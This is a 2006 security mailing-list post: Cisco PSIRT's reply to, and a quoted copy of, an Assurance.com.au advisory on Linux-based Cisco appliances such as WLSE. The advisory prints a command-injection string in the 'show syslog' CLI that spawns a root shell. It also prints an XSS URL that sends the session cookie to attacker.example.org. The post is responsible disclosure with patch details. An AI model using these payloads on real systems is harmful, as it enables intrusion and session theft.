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Re: Multiple vulnerabilities in Linux based Cisco products
From: Ilker Temir <itemir () cisco com>
Date: Wed, 19 Apr 2006 17:42:50 +0200

Hash: SHA1

This is Cisco PSIRT's response to the privilege escalation
vulnerability independently announced by Adam Pointon of
Assurance.com.au and Mathieu Pepin of Axen Consulting. We would like
to thank both Adam and Mathieu for bringing this issue to our

The following are affected by this vulnerability:

  * Cisco Wireless LAN Solution Engine (WLSE)
  * Cisco Hosting Solution Engine (HSE)
  * Cisco User Registration Tool (URT)
  * Cisco Ethernet Subscriber Solution Engine (ESSE)
  * CiscoWorks2000 Service Management Solution (SMS)

By exploiting this vulnerability, an authenticated attacker on the
command line interface may obtain shell access to the underlying
operating system by injecting specially crafted commands.

The following products are affected by this vulnerability:

  * Cisco WLSE - A separate Cisco Security Advisory has been
    published which addresses multiple vulnerabilities in the WLSE
    appliance, including this vulnerability. Refer to the security
    advisory at the following URL for more information on the impact
    and fixed software versions:

  * This vulnerability is addressed by the Cisco bug ID CSCsd22861
    for the URT appliance. 2.5.5(A1) version of the URT software
    fixes this issue and can be downloaded from the following URL:

  * Cisco HSE - This vulnerability is addressed by the Cisco bug ID
    CSCsd22859 for the HSE appliance.
    The HSE-PSIRT1 patch fixes this issue and can be downloaded from
    the following URL:

  * Cisco ESSE - This product has reached End-of-Life therefore Cisco
    will not be providing fixed software for the ESSE product by
    default. Customers who require a fix for this should open a
    service request and request a fix through the Technical Support

  * CiscoWorks SMS - This product has reached End-of-Life therefore
    Cisco will not be providing fixed software for the SMS product by
    default. Customers who require a fix for this should open a
    service request and request a fix through the Technical Support



assurance.com.au wrote:
Assurance.com.au - Vulnerability Advisory
Release Date:

 Cisco Wireless Lan Solution Engine (WLSE)
 Cisco Hosting Solution Engine (HSE)
 Cisco Ethernet Subscriber Solution Engine (ESSE) 
 Cisco User Registration Tool (URT)
 CiscoWorks2000 Service Management Solution (SMS) 
 Cisco Vlan Policy Server (VPS)
 Cisco Management Engine (ME1100 Series)
 CiscoWorks Service Level Manager (SLM)

Vulnerabilities discovered:

 (1) A Vulnerability in the CiscoWorks WLSE "show" CLI application allows
     execution of arbitrary code as the root user. 

 (2) Cross-site scripting flaw allows session theft

Vulnerability impact of each:

 (1) Medium - An authenticated user can gain root access to the Linux based 

 (2) Low - A targeted attack could lead to session theft and administrator

Vulnerability information

 (1) The Cisco shell presents the administrator with a restricted set of 
     commands which includes a "show" application. The "show" application has
     several vulnerabilities which allow an attacker to "break out" of the 
     shell and execute commands (including /bin/sh) as the root user.

     This "show" application has been in use on this Linux-based platform 
     build since 1999 and exists on several other Linux-based Cisco products.

  An Administrator is logged into the Cisco WLSE via either Telnet or SSH.

  admin () wlse: show version
   (C) Copyright 2005 by Cisco Systems Inc.
   WLSE 1130 Release 2.11FCS Thu Apr 14 00:09:56 UTC 2005
   Device Limit = 2550
   Build Version (67) Tue Mar 15 18:13:02 UTC 2005
   Uptime: 2 days 3 hours 32 mins
   Linux version 2.4.28-5_WLSEsmp (root () app20 cisco com) (gcc version 2.96 20000731
   (Red Hat Linux 7.3 2.96-113)) #1 SMP Mon Jan 31 16:04:20 PST 2005
   Intel(R) CPU at  3065.897 Mhz with 3105924K bytes of memory.

  admin () wlse: show syslog include ";/bin/sh -i;"

  sh-2.05a# id
   uid=0(root) gid=502(admin) groups=502(admin),500(enable)

  At this point the administrator has root level access to the Linux-based
  Cisco device.

 (2) A cross-site scripting flaw exists in:
    with the "displayMsg" parameter. This can be used to steal the JSP session
    cookie, therefore giving a targeted attacker admin level access to the 
    system.  Once the attacker has admin web GUI access to the system via the 
    XSS, they can then change the admin password or create a new admin user 
    (without requiring the admin password).
    The attacker can then use the aforementioned "show cli" local root 
    vulnerability to gain complete control of the Cisco Linux-Based system.
    As with (1) above Telnet or SSH access is required to login with the 
    newly created user with admin level access in order to exploit the 
    "show cli" bug.

   http://cisco-wlse.example.org/wlse/configure/archive/ \
   archiveApplyDisplay.jsp?displayMsg=<script>document.location='http:// \
  The cookie posted to attacker.example.org includes the JSESSIONID token:
   ORIG_URL=cisco-wlse.example.org; browser_tzoffset=-660; \
   JSESSIONID=johjehk2h1; \

  When combined with vulnerability (1), it allows a targeted attacker to gain
  root access to the linux system.  

 Cisco has released patches for the vulnerabilities.

 Assurance.com.au advisory

 Cisco advisory note:
 Cisco security response:

 Adam Pointon of Assurance.com.au

Disclosure timeline:
 30-Dec-2005 - Discovered during configuration for a customer
 29-Jan-2006 - Email sent to psirt[at]cisco.com with full technical details
 31-Jan-2006 - Response received from Cisco psirt
 01-Feb-2006 - Cisco advises bug reports have been opened for both issues
 05-Apr-2006 - Cisco releases patches to Assurance.com.au for testing
 19-Apr-2006 - Advisory released

About us:
Assurance.com.au is a specialised information security consultancy. 
Our mission is to help organisations identify and secure information 
assets. Our expertise concentrates in security architecture, managed 
security and professional services in security testing/review and 

Supporting this approach are services in the following areas: 

* Compliance Services - Penetration testing, security reviews, 
compliance and audit services 

* Wireless and mobility solutions - design, installation and 
management of IEEE 802.11a/b/g (WiFi), tele-mobility and other 
wireless solutions 

* UNIX-like systems, networks and security advice and consulting 

Assurance consults to a wide array of organisations; small companies
to large enterprise, utilities and government departments and 
agencies. Its security professionals are respected as being amongst 
the best in Australia and are quoted regularly in media. Assurance is 
one of the few security organizations based in Australia actively 
conducting vulnerability research resulting in public security 

Assurance's experience, expertise and vendor-neutral focus ensures 
we are able to assess and objectively recommend appropriate solutions.
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